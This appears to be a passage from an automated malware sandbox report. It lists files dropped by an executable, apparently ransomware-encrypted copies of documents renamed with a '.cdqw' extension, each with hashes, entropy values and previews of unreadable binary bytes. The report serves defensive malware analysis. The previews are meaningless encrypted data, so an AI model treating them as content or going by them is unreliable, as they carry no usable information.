Vz...H.._O...r2..tJq.x...N!h....Hp-...ssU.......o..r....'c+.1....4......^O..-.N.P............J...#1O#.c7.%N;..g...X....#=.J..w....r/.......$.n.o.f.='.........=cv..Vd..

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867352353377945
Encrypted:	false
SSDEEP:	24:bni67gQkG7bkAxrxvjpqiMHETC4z82irOFr/e1eSX1GBra/T2bD:267ZkifpHMUCv2irOVe0zQAD
MD5:	89A7BBFB38845E844C66FD4ACD30A913
SHA1:	D06E069ACF5E725FDDDF98B3F59F9857E4690BE8
SHA-256:	2F3229778B351BF283A41A8C42A097A403BE88D68760D8C22AA7934265BC164F
SHA-512:	EC88F4A886A1D846DF735C20C5B57F125DB08A79B0D86A25709F75704DE3476EDD7FCB0EDFDCB0A529BF312357A1996A22029D9045A987A49287E2B2D14B488D
Malicious:	false
Preview:	KLIZU.'...D....>...g.6!..k..........1...Fc0.S.x5.Et5..G...x+.y.5.]...H.....w4.%u( .....$G%.(/F$:..+.S[........x1....$.....\|qI..0.,...ATF2..]=D...Y:..`.dBf......r....`...!Z..h...\.5....F...qx..{^?....i..$L...U...\|.1+....F......p;.#..f..X.............O...@...U.k.` .9).4...%.K/.0...o.o9..A...,..`.z.3.F......Q..b...N.....G.Z..:..xBS.9...f..%.S..,W...B..l]......=K...R.$v....~... .....o.,1!.a...<9../..]...b.f\|.....TQ.oX..E...q.<..LS.rRUjw..V.......@.a-s...f....Q..r.v..r<JP1..R..c..Z.>It#...z.o....V...K..2....sm..W...4r.A.\z.l\|\..O.(....{.6.%r..$.....NG..h..?.!5[F.C).}....../`S.`..=..I........m..@CD..y..X..?.o..p-...yeq...../;..hb;.u.}.v:.....R....,.K...T.j.4XG..lB4.h.......3...]..dcQ.?[%.$......XI[.1.......{Pi.wx....7;..tg?....;.W>.........R...=@..<.4..j..jC....Q......e...K.\.L[..XA6f..:......R:..m...M.......&..>D.8...L@...V3p.o(q.-.....[.=.#(..,.n.t.d.3..zQ....k.dcs....j=....G....G.CyR.......sl@.#..."NY. ;..[Z..../.xIf..\...}.....+s..J.f[)

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857100983322151
Encrypted:	false
SSDEEP:	24:bM3o9s51IICLH67mcYLB9om35XiDE+v6hk+pKxR4k/aOvO2bD:YoqnxCLHL9os5afsKxR4k/ae1D
MD5:	97B1E9727FB767E488187E0842A387DA
SHA1:	C9C560B7D2CCF4F9927CF37088C009D4A104002C
SHA-256:	4B58845B6AC42925BED08468295C5006FACBF4797F738E48ED12F429A64C3333
SHA-512:	41D496509BE471CD063AB9E7E0E29B8720AC5FB558F28516D09D7E680388C7A95439C3E98B02C00224F9CD29FB8D062C79DB769E32EC5C7858224D0569E0963C
Malicious:	false
Preview:	KLIZUG..4A0YHy.vA%g\|.........q'.;.D[..ap./g#c.n.-..d....%.T...T/8...=..p.)...e...i.uOc2"L..H.y8po}......F.^OD....k.%(.......h..,.7.m...7nP}....j[Y.k....Y....v..$?..{g$.cl.........2m.j.N..VJ@.I..0.u..A....-.g.3.."..,"R..._u.i-W..h..>.!.....8.5.W.0..z.&......(.......o.V._U.......nf..a...tH.w...b...p.........4.......B.C.018.G..6..6...m..=..R.D>O.j..,8.....1..UY,&.v...,[...<..1.ia....a..ziL....^..q,{.\|Gh.28G.._-u0...Q.L...g7..O.I.......P..)I......E.A..a._-...]./.`CE.Z4[f.6.7.nRq..hHw..v...... %..2..2.''XUE.....j..a...A.~C-..;...dwE.m...IN..S.}....P..$...;..`....:]Z2.u........?...p...\.i5-..... ..cq.AI......,.Y..uU.{...[..rE.(..?...G.....m..:..E..:...RV2..l .4.F<.i(...#.E...b.A.a.e..px-...=.J0r?1[.U..9..j....{'.K..O...I...t./.d.\.&_..G....L{W..%uZ.5m.G.%k..]rs.s..C..W ..5.....@.....j.+.....D.f./i.g.~.e....L......GG...%..@......B(.q.L.+.SI.a%B.y...X....).:..+...jJ...C..fn......]..1.)dbx........H..h.5.a.4..l.voU.=;...%..'...`).q.a..^.m....3...

C:\Users\user\Application Data\Microsoft\Windows\Recent\LFOPODGVOH.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851548642248384
Encrypted:	false
SSDEEP:	24:9/8rV6bUpTv9oE5AfPSBwvDWxEQif3tAzMLqIy3xo2bD:emCFCeYWxEQY3pLqXBbD
MD5:	EB9C237258563A9CD5C7EABFF52F8C59
SHA1:	0FA4CF790A6FC4B1491C9759B0B3DCA75D71A570
SHA-256:	AF16DCE10C6220819332ED37178D2D2FB561D178684FA72600AAF0F8CD8B5582
SHA-512:	223D667FA75E4678BF32155AD36640C437C7D7E8AFF9D9109C3D7974136F83E133AB022F01FF148EA80B3BC776C26B7E8760E1CB7412C717DE6B9C4131C0AA70
Malicious:	false
Preview:	LFOPO+..kJ......g.dB...D....."..&....../.Q3..Du.....t..~.......((...e.Y.I.wc....q9V<vx5.k.&.a...Mf...T=.Z......u.._Jo.b..w}.,I./f.B.Io.g....S...Q.m.XzB....-?..U\Vx......'>...."Q..QO.."Kd....l/.oD..S.^.....A.S: ...]....!...}....(1}...I..@..N..u...~{v.kdd..%..%,.3..z.[.?a.MM..2&.{}.....7....wO....s.2...$.^..R......c......a.xG.U@oT.4.$).:.=G[...S{..C....v....ebs.R..r/}+).....H7.7..!M..1y]Y~p^w.FE.?.o..WJ..7H..%..J.8NRPe......9IC`.Lh.P.D.).q0.......n.I.....g8X.q.XAE?YTf.....qa.y4.E}..\|.0...n..h.a...T..I3.n....0...G%B.{.....@?)v6cO......%.....v`7....e.3#E.@x.m..^.D..7.Q.Dp9..-.&.q\|i.T.9..,.A.....nv.m~..\|`{..'&y..c.h.........a.q......?.C.[.E.......x..U..AR.V'..l.;.7.x.~R...7.....}:. ..F...:..w..,...UGK..!6N+j.&Uzz.K........-....a..[-.W.[...F...+\|p_....&.:s.M..".n...H...3...8Z..i.}3.....~2V.....HG..z:@..&../Dh~.>.o......).y.$h....3.j.px...d..\..%.nT.....e....J..0!.=.O..+fH@pklQy...Hn..R.;8?.{."..A?..#k.>:..%...{%..4b.dSn..\|.c..4...Q..........

C:\Users\user\Application Data\Microsoft\Windows\Recent\LSBIHQFDVT.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868293937148658
Encrypted:	false
SSDEEP:	24:K6mR0usfEwgmbu1zEygalzvuhf10owYLcyc28fVOUaTxOTx2bD:KRRpIRu1zEyl7U1tkNfVODxEKD
MD5:	6354E4C00F0EF71BAFEAFC969C9BAF82
SHA1:	3DA21B470CA1C221054F28370028E295400588E4
SHA-256:	DA093399F60E194CA8A88AF68FF2D20E1FA1E952AD0102ABAEDBB3DCF3F1CF82
SHA-512:	E437CA2F80911C25B781CD7D9592AC22F3DA4D31A1162E0B06DBCE3D95C4CC03675111AEF2F3D6CA8753FE3300F1C9B01278F28889C743558539191F2FD0CDF9
Malicious:	false
Preview:	LSBIH...+.3i..k.`..:^......].."...E....B.~..@....]BI,.....4....w.q.D.EQ.\..@.y..3.cz,.{.:.[%..\E9.5.0..7_.{....o.$.$S.$Rb.......7/.....Fc.\|m.`...w..`..%.W.....Jh@..`....GI.4..3'...Y."..R.8..}.r.}.].Gi.".0..t.e.cE.`..........}<O#\|;..d4.cxf........Sr.D3.....e..D'.A..............X..N$.0....`....._k..!C...b.w....7....{_.#....3>.......@..fl.....4......#..<...%..vc.OvG...:..F4.@Qw]..C....D[........\|.e...)..f.E.nj.?.Q....[.$.>..X. H..Q...#..[..G.4F._~g.W.....1.........}...g.........i.....L.....L.)=..........2..\.g.R.Z.8...}.m...d....C=B.Q.o3.........Lg.....35.}..9..\../sR.&`.d...;..sfv.....>.8.<i,.#f..{.....w.js.l....IN..~.+...`.K...,f......,Gq.....Ed.&.h...K>.0..Ua.R.W..oM_.)......x......O.Uo.Fg..>....d.........Lk.=\.5M..y.;bz..Y..W.....sH../.,..w... ..x.-.B}P..v_<....=!.....n.u.-..4..Ni.;..'H.7.k.n..k..SMmL..r....Z~..?......v.g=......:.....\|G^.i.....7.%.G..l.tt.". G.L.8Z.&/^......l.b.ryB......JVW..F.qeDw..z..=.T.....1*0$f.....y.o,.&..:.........Z..

C:\Users\user\Application Data\Microsoft\Windows\Recent\LSBIHQFDVT.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851556002201207
Encrypted:	false
SSDEEP:	24:KZCC2E/8vABN8uR6KaV9cd9RfhKoHU98MU7nLSEhA8z6xF+9SlpiImAwWNoq3JOg:K2cRhaV4RfhKoHi81DLSEa8z6T+9wpiC
MD5:	FAAE7CE7A8E2E09A65486A07F8E78607
SHA1:	5E4C026FF260982EFAB35A5DD8CCB77D723B125F
SHA-256:	DCFD4140968DC4CE461DF904E595785CC5590627DC589C71D87F25C04581EC44
SHA-512:	5AB1D5E5BD480684FAA226996DDA43FB270CEB8657B66EC8AE04AF191B29B60D430C72F01C44A8495B10E049CCFD4EA710BDACDB56E54B19638BF70C779E8F3A
Malicious:	false
Preview:	LSBIH>a......'.N.A.3y.\|4...c..i....]...U.Nim.fK.O..).n.n....Y...Y..5...t..U..\1..#...y.)c,kE.=!.H..1....6.w.t.N..e,.:.or...l.>r....0....:=~...S......o..u.........Zms."Z.R........l...w2.......r..B.a...{..,..S.$.q2.`..>'$.}...t...$R.+.}.h..h...j.l.....R.V.0..v)....r.......u.4...P...Eg.7.....61"..._.4...3..................A2.d.i.Iy...8>V}e......Y..J.j.R...(<j....H.u..?...^0}...~..~...$w=....? _FmDB.C.I%......E....=........k^.G.d...N.;!I.:...oh.-1.9}.....ea.8....G.....i..X.K/..xJ!&...i....&y..I....s{..q.\|h....).[&..y'......Z.6d.R.......".6R.6...W.....y..p.v.gE...<.QE..h...?N.0 ...Y.c..D.y3hNU.....1.D1.,X....}...k.0......E].....:u$8)....yv.p[....w.&...) VK.>6..........=.6....q..4..A.\|~....QxZ2W.`Q..[..V.vG./..].1.l+[.i .LU..>.M.t.Z..Y. ......{'.7[.E..z...arj.......Or.i.5..(..5......>...+.gFU.#...\|0Jim\|`5..{>0.9..(D..'e].._..m...UY.e.....S.."............}..~....F.v. ......M..y5.+7....C..]..`.j.".B1...$.o.....0......b......U...@u..]..a... f

C:\Users\user\Application Data\Microsoft\Windows\Recent\MXPXCVPDVN.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856246788578725
Encrypted:	false
SSDEEP:	24:K8MHeeeP5JjtSYfRYQExqYgHnIylB7Tnw02kNV1TDc0NVA1TLx4LK96Oajw4VXza:KWHSuYQEUYinIylpBPb1D5V6TLnmPVXO
MD5:	14263DECD5C5983A87E331AA9D6CA053
SHA1:	1E4FD7E932E1053BE107B865DA8DBC2D6CD70DB3
SHA-256:	52B9CA3ECF83A329C73BFFF71CF94FF83697449E13A8990531CEB6D0C9512C32
SHA-512:	A73F88BBDA28183FF36E8A89397D783DCA8E5341C67ECFD4C1D7FD58E37754BA66773CE997E799323E72E490F8E9516999560FAFC1F3998F1DD60E4EFD1E089D
Malicious:	false
Preview:	MXPXC(.]..? o....4.......u..Wb..J.{...>..<Y..2,.{..W.Ab..K,..z\|....s..0.A.Z...........=..Nr......X....\...z.n.u.~.^....).s....S.....g..g....YL.&...i......a.A...G..%....M..&.Q.,..!6...a]...W..).....7.e3...U....V.9r....h..V.4;....\ss.N...4...}...z.K..V...-.4...dqC....e....=)T..y\R.w....8.C...X_.3]... ..z.......;.hP....p...Bd.#..p..y".x..\|B...h ...Jb.._..Pi.]...?2.....a.R__C..6e.(za.....Z!...e.T...tI_..#I.L.:m....n0...W...I.iWn...s........#,.I....W9({.%...............{r..+......."..p]..T6u....a.xM..`...s.>/..".:S.]YO.z.F^jY..X.N....c^.[.......{........S.."{........7.. ..........\|c[L.K.....-!..-+..2}?P.[AM.\.?..;zH..1{..._'..l_md.oe.......8.'pX@o.6.....P.*..V....on.X.6....i...l.S<.C..E........:`....... 5D49'q..\....m b..........5.....m@......e.j5..MbTK...Y...hG#.f..f'~o.".....\|...\..0U.,\|N.''R.$....s..m2....H.Z....qc.....K.@......n&\|~.......F!Hz.'.zN......Oh.}Dx..&^.......5......-.n..0.C/0^..'..#.!...].-"./\..w..x..5.T..a&4.....Z/..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8530417300502195
Encrypted:	false
SSDEEP:	24:zWQvXwFwet9jeJSbz5amcw5RQO2iaYtyf/4O+VgVViH9g1XvxiHPZt65xEo/2bD:zWQ45aJcjxbe/4O+VguukHPoxEpD
MD5:	AC3D3DD393461BD7BE1E25212E28ABAA
SHA1:	625CEE8C11B5C461507CEB9B97108FBCCF0B5669
SHA-256:	78E5C892AFAB6E1FE77042B3C90BD68A8F44E4C5E304BF93833C9D1A1767C5C4
SHA-512:	B5C14ACC72954DB12E76804D3DE0A661A53CF37C6D6F3C07933F8284F2B562F1C390BDC10278C46E70FC222C02F1105274447DB2B006A9D3D28E972DEA672E6A
Malicious:	false
Preview:	NEBFQ..:.n...C.-..s.p....X.9....K.`4,.#..%.B..K.{9.{....#.y.[b~....'..l....w.........L...<~3.j..\|Rp.;..1.q1.9.x.(.6........nA...A0...uY[.Ti....U....q.r(.[t.@8C0.y.E...]....sJ.3....3.Y..>6...~.jU..~C..'.Lw.V.t;Gy...R.......n.K.=@G..P..t@..F..k.S..z/....6.U1.~yK..j.3..;c..Bg.u.'....q......\v......B?%v'.*..O{.2..i.$..P..A.cMNc..b.....6..9[..<...........l?B.zkNc...d.=yf=...g0.m.^..D.Z.\b..f...=./.N...B...../Gj..`.,/{j.3K..D...T_7....[.+...&...?@...a..O #v........u....6..5..w0R.....].Av...B.8...IH...{...M.cO].....C......U....."....o...3.8...JuK.;R.l>.13..o. .U-...E..%.W>......jR.;.3....(.....7... .Z..VB..Y.......C/~e.x........4...3..w.7.u.}.....A...'....&.,f..#.....0.x..i.jt..@~\!.#R.;.ns..mTw...8..^.@.(N<.z.h.v.g.}.c2......o.SU.'y2.....%...F..#..g.8F.R\|..JU........?.w..s...?..1..k.I.\|.=..~.@.....f..R.@h...q.Q.M`u5.ow...F.oi2.......w[!.....>.V....\/JF71.\|...EE.....r..)xW.%.u.....Z...A.^!.I.?.g"h.]}..h..@r3.r..Lu..i...`.8....HX...]B-...!"..."E.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856327507316725
Encrypted:	false
SSDEEP:	24:zXlXrU9THHsItmO02wsC/NE34fXJaSKd09rDd5o/Ko4WGZJ36ifnB0iK/0x4L01U:zXeHHsBL5VE26adTroQJqiS5MxPKD
MD5:	1A965A237BA25783DC6775AE92725BCB
SHA1:	D8E1916C1B8562B7F351591DDFA90B8C9C2F6556
SHA-256:	7E5F7C3B2B7A661975555C7412888F342CA7B4D74B48351C6E5D542D2E470D14
SHA-512:	A3E5F59155DFBFD64780164ACDC4CCE378DA1CC5D30B395051DE172C2B658D1385681CBF23848DEA3C12A1B1B0B6CBED43E7694E4D2779759A2C129163D84C3C
Malicious:	false
Preview:	NEBFQ...^..!.?..T.Pb.rl~!....0.......1o.`.....A...1..[.....5O{.pT...z.=........U.c.....=.e.^+..U.k4.&....w......1TB.B_BFKqC\CzF....9..-..Lma..;....aq......;9"......w..du..bS.=9P......dy...i...'..?(...Z:.Z......<....O]i.=D`....+D......S9....bjk.n..Bg..Cxg.G.z....4......T.F...<K3...wdS...gw...{...O....._.......xe.......$.U ...(.4..:J..>.........).t,........o.3..a....K.7.!.O...ZsV.A.@......'4n.Xq.3;.x...;o...2.B:dN.?.Dz.........^\.nf..6...e.Xc..n.:.g.l\|b.6.W.......?.Q....R1..(2.+."T@Hz..s`...6\.J..@.7).>6k......"2..<.;9.6P].....Kh..C.-..Y9y,e..4.$...D2. ..1.:Q...VQ.}..ci<2.).VI.v......h4..EB.NET1z..{.E.?{.]G.B.pI.A".,A...I#...3'H.}..nE...W..+J...\.F]F9.b.t]q\.........r.q...lX.........J.(..B.W.XG.JR..Zl...V.Q..1t.6....K.!._..M.....P......!....e,.c.Q..A.R...p.(.fd.....}/..w-..Fp..No>.h2na..M.z.oD.6.7..0p..DX....i.." .R...W...r.Ad.>G>..;..,=.J..w(`?L..U.4&0. ...>.A...B.Nm.....M........)..2`.k\|..gf.$}f$...B..h."./.'...J..y.[...n....'?...+....v....

C:\Users\user\Application Data\Microsoft\Windows\Recent\ORJXLKGWYJ.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860291358536041
Encrypted:	false
SSDEEP:	24:LfpPOnfzYyRNq5UDWyLaQzp8b+Cu0qH8LyNuz/tn5mb2E65HV2bD:1EfcyRNqeWyUbT2Y/OwkD
MD5:	34BE8F5B4EB8819CF899DE4080C46586
SHA1:	A896DB8B4B0957E14257010A39B83363C9686ED7
SHA-256:	10985F0685BE73DC19E3C5E60B6349A2B929A0D731177CDF049B96DFCB922A34
SHA-512:	055B1E5E127332BDBECA2FDEB4E1E4A0C2BE0ABBB76FD65A3A38A318A757BB1AEE79FEE8FB7E3B0522B72F49DF947FE1EEE428544A1A20C13AF1A5CA7845A3DB
Malicious:	false
Preview:	ORJXL..$.H`..f..De.i..Q.w.'G..:P.(V'#4..oM#q.;.S}.4;=.J.g..b.x!.e.,Ih.y...8o..F...zN(8}0........@...4.0.o..J@..c.L.Mv.f.3-....&}F...../(...7.&...&.^}G/x..\.0....N.E.4..rx...p..f.en..[.\,..eQ`......~........A..;._Y..w..4K...o0..s.....6.....!.....oT.MD.P-.........S.......#y.'..S.Z.j....>UZ.....Z.. ..gV.Z8.Bw....j$s..{.._...!...#Q.(.q..-._....:}#%A.R{.?..B......v..k.v~.7u=.Tm.H....w;{...9..M}!..s.@j....n..ai.(..M.....m...`w.....C........1...o.....z....Y....t{L...Og.W.../"B......s..D..H...;.).ro.gJ..kp#...$.........2...C.du...Y`Y@..Ijc.....SZ...IJ.....>g...bX.`.U4..i&.....3..6............R....M.......=.y../.R.......".WJ...u?......o.2.K2.d...2z..y.N$&.Z.....$j'h&0.5$.Jj.h.. =^:.....ndD.k`n.......@JP........[.}...\|..B%.....7...b.........H.v.^...$j..YQ.cu56Q..Fb..v\.e...^w...'..F.KfTEy....N.+g..!G...,.f.....Z.....l..L.....Q.a_x.....X.X/x..xO{y...$..3.O.......m....[...;..NSb(.R...S4..........).=.>..^.i..,..].e.....s.<.P...SS...<....>`.f.

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842392418510912
Encrypted:	false
SSDEEP:	24:OmrBXroJUsGnm9vPL7x0gA+Y6vExMtJArsJQwv3r+cO0m8MN7pCh2bD:5B7sEmhO7+OWtJArsJQwv36cO0m8MN71
MD5:	DF239DA6A85A314A71D7D06C53064DCE
SHA1:	47EEC2117B9FDC3ECD76E77AC237D5C6DDE134C3
SHA-256:	3A840E89E168817EE8105969A57932C4AE41942FF637081C16D09137328C56DE
SHA-512:	154DA240080285C26712DC13706832AC5DD0B1D574367A92FA14235F312D8D04882D391BB218E232E395320B2DEBA011D9EBF0745F13F2738789FEB0166BAAA5
Malicious:	false
Preview:	PIVFA`4\|Q...?I<.....fzV........T.......,....j.o%IS.r...Z.d......r.N.j.e~...~.y...`..G...Y........;..u.>......#x...P.3<.X.x?.2+F...P...E.........+.....0:...5...KpA.<8..Y..#...\|g.:...D.....m.v..y>...k..H.U0...#\..E..<.c.].Q.;W..=./}CX(..+>e\|.!F.m.].....)...,I.I..n.....:..KK..\|.......gs5v..>.(.......Th..Y.v...6...e..........y<hst.R'.Epp.....O..)i@'...~PP..n&h.....p..X@8.I.s..$..u..$..+.........RSY..:<.tDw.(..P.&..g......s.V..,xR.\...r....(..P.~H.-....{U\|@..V4.2.:...a<Bh...~4..l...,.._n.....x2e....o..n.}.h^.2..s....^nc..O.1.8..E..dK.;....yW..o..='.!........H=..U.. %=....j.H9o./...-...).......4?0V)..F.}o.qW...n....Y..>..g$8..O.J.p.M'...N.S.2....J....6.(.S..............OImE..V.m;..`_..Q.4/c.%q..A.i....qE$m..1!.%!..w.[.\"<..8C.\|....+..sJ....G]=.(p$Y..(eq.......L..f._d.O.d......B~.\.sk3e.....t....~.Vod..1>..\|p.".......ei......O..K?.^...5."..$b{P...(.}}7.B...Z.K...@..el.....O.......$..&..,...e..;..x\....x./..d.1......K.W..#......s..zQ...sD.....`Eyh..

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852566103885814
Encrypted:	false
SSDEEP:	24:7SAkqwK0g4zRcKQZAUwpJj2YBSAN/OPXu/xUmmw9bDOfhTPpdW18WK9SI7CVT2bD:7SrqH0g4VYZXwpBJN2feUE9bDMhbnW1W
MD5:	553B8F1BD07F0414FFA716096D6165AB
SHA1:	0DD044DD3FC6EDB933B21D76559C742A1A4FB1E5
SHA-256:	6347C2CE4E6D4F0914DAD898D4C63B171DCDF9E694212C4FDDC6BCD4000D86C9
SHA-512:	9F5D8A0FE824EB74AF6A7355C3BE0382344D5D4A71A5AC9145FC282820555422AAA5E722CDBE8111EC7650B744D61AA6319891CED028BBCE1A9835997F8B9340
Malicious:	false
Preview:	PIVFA..%+..o.A....\..7...R.....@....m..O"...<p3.V........kVv.L.+.R..\|a.W..0!L1'S.q{.J..p..p....9..J;.Sg..x.Uqh.........x.l?_+-l.y]....Vp....0U.O.....L]..x-c..k..Q.@..=G..c.;Zn..6.-t..%..c.7.!"j4..%.("......9:....=>2.l..O.J...f3....b.Cv.I{QY..s.,z.i=.p}.....Q..}.`..(...@.q...x..R. ..=....>.W..wX]...{..tm..yACb..Pv....^.._.M..y.!.5...H..?.GM..W.....n.e.!...4+........8.6F._i....W..d.rq(s.gt.x.L.p..}Y..5.\|ZO..!0;........\.<=2.!...;.%....{..<.._..{....rh;j...>R...V..DxX...uqn8...`..&.m...b....R+L..3."....)X.}Y.F.TC..(3X.8]o X.%.\|w.........t!.p\|\.h....7..D.d(.h...w.5.-..<...h..!=.....xn..,...A`..7...hn..$mD,........&2g;cn...j..>..U5........5"8H..K.U.Z..<!!>gO..r.`....L..@s.c....h...#.2MMk...8..9.C..D.yG..Y.Y/...Sw...u.mRF....pKx.........5.q...MQ....t`.....E..yE......m...uy...t. ..uw.Q6.2.I.AWoq*.....,...~.{.#.H.........1..u.Z.k.V..}.9~l.....S...t."W.w.U..p...;.jt..l..E.}..be..{.F,LE..S..u;.%Q..T....L..L......%.........S(.f....U.j%...(.:

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWCCAWLGRE.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867583604975603
Encrypted:	false
SSDEEP:	24:e7k0qT9D/hNWPXfhx8/sUohrmG3RRquFz4SaRcXq0Wor4CL7qPGK2l2bD:Ok0qT4HhxGsJVmGxG10JMCnp9+D
MD5:	3EE7385F26672C30EB29822956C056E3
SHA1:	195649D48A4EBC90038EB56A6641A902194A12A1
SHA-256:	AD1D60BBD013B514CB70D54FF0E9D4567C54DB101B297823D33CAD98655CA662
SHA-512:	918A0C296A6AF40620BF92EE20B1A740A5E511066E9FEDE9041C9067D558E6FF417283E6F114380464526ADA6C5EFFF011BB4D604E28B0030533DC43D1817542
Malicious:	false
Preview:	PWCCAK.C....c.&..c......q..z..r.1...n\|...\O..? gh5m...2.:.&.0.Vz......N?U.=.n`"..s.....U...9.wX....}....XO..C...8]ziO.......G...........'......H........o.}_.t@.q...{.G.....X]..6"..4..Y.........2g.M..%T._@....O%@....zJ.O....O.'..s,...V.\rE.....g......-p...b.H.O...B..w.5....BD!%..n..%c.<mX...'V....e..KM....o;..UP[....H\|......2Ah;@.:..v.<7...ow.W.....U....n..OE....J..3.'.Md.&.0..i.._..............2..9...fG.wld.....M..g..z...@....N(..."..M....!...>.q..C.,.....}i..S.y0...9@...y+3..l...P:R"..84^..T..0.....?M.a.r..-..Q.A~2.r....q.CP1.@.....#.~.J_.m.U....(..Z&...t.....9.N...L._..;...."$\lJe..........%.P....%u...p.Sd...2..^....=.'.7.....+....n.jf......K....L.._v.s7....el.......4C....z... ......}t.Rl...^..I..E48p..i........sP..I... ..r./......d...+...^.7........-....._.42......x.X.G.j...'..B.A........X7.....n....0ef"M..jA-.\|Ic#Y...._....+i!.I!...9....ld9.F.:\...J.\|.>u.........uW4#...T.$..bH...P.7c.....;U...nx.....;d._....tg..E.ei.{

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCFWYSKMHA.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846905991736826
Encrypted:	false
SSDEEP:	24:lOrsAZ7tL3hxlDrF4yUGcKiJjN5h9yZutIbbwKs9sn2bD:8rsu7htDmtKCZ5i42XZqPD
MD5:	0C2827C7467EA445B199217D3D8E3ECB
SHA1:	45D6830ED11E30B799F86CA1EA280A081EFE2609
SHA-256:	F7AB22A71B468DD0C693460136ABF9D8D254BBC53C79C91F0E249C5FB633A2DD
SHA-512:	894953D7105581AF76FA1D7B7CA79FE6E89BB4AA622038C608DAA2DAE81D3792C67484AEE1F457189A64805CFFCCC1681D66F54D0C177F63AA00553DF36D715B
Malicious:	false
Preview:	QCFWYj.f..?.C.$.0?...T..4..n...."7...7G.E....;.@.8./.?.8.4..T..v..xJr.=ou.....#'......6.U..tZDi?zH......W...;..)..n./K..a........S..d..Y'.\...P.Ob......\.........\|#...9.8...J..%}$..5Y[A..O1.....x.....u...X/.]'.....3f..Yh..='..}.Q...'X.F....qNm........@.Z...\v.=...K......vL..Mb....%z..e.......W.g.m......,....Y.)........]..#.n.;w....~@.......@.f...`...V..D.#.+....kf..x.kX%.Mh.0......5...@....a.P............5..j8.....a...7[=Q.u....}...j.K..)....6.uY.b.9e.......a$..Ir.P..Q.......M....s..l-...%..L.=`..R...Q(.......k....2..xO.......UK....6h.....la#j>.R..`KJf..=...4..B..j.....'.H..[~......e.<....L......<.E.;:<.^.>.;...@l-J.......D`.w..9.H.D.S.1...Yh]._.;.,.4........i.J0...P..f...?....z...M....w.'.q3....a../=..eD....D-..h.\>RwH.k.......O.K.'..6%...~.$D..et.....uZ.L;p.e).'he..0...F.dL.D.......^.m..U../..].6...f.xQ.......}u.5jXM.l....#.Z.[.(.5......(..../.o.ku...iV.$..b}6../T?...........8.5...q.. C.NH.Q..w#{...e... ..*.0.....Nq.8..bU39

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCFWYSKMHA.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874140344241885
Encrypted:	false
SSDEEP:	24:29LzoGvigFHAdcGaePkL5zfO4cj482AwwaV6jg1YFTnQULp5k2bD:wLtgz+Yjf2Awgk15o53D
MD5:	C8079E30216AA7E1D3824218ECCBB8EF
SHA1:	001927633D5F37AE1EACB2DAEA51D3772EB32C94
SHA-256:	3FC99B20CE25E5ECAEA73ED648A13A1315090E3B7B7B42979854856324F75953
SHA-512:	632DAF79029DA3E9FDE49D806C335CC9BC176DBA85C1C6F9BFD36D7C1F803D58736C24F1C68B1E2AB46664DBEFBC107AEE6E53116FD8AE057B0EEA8C5039F60D
Malicious:	false
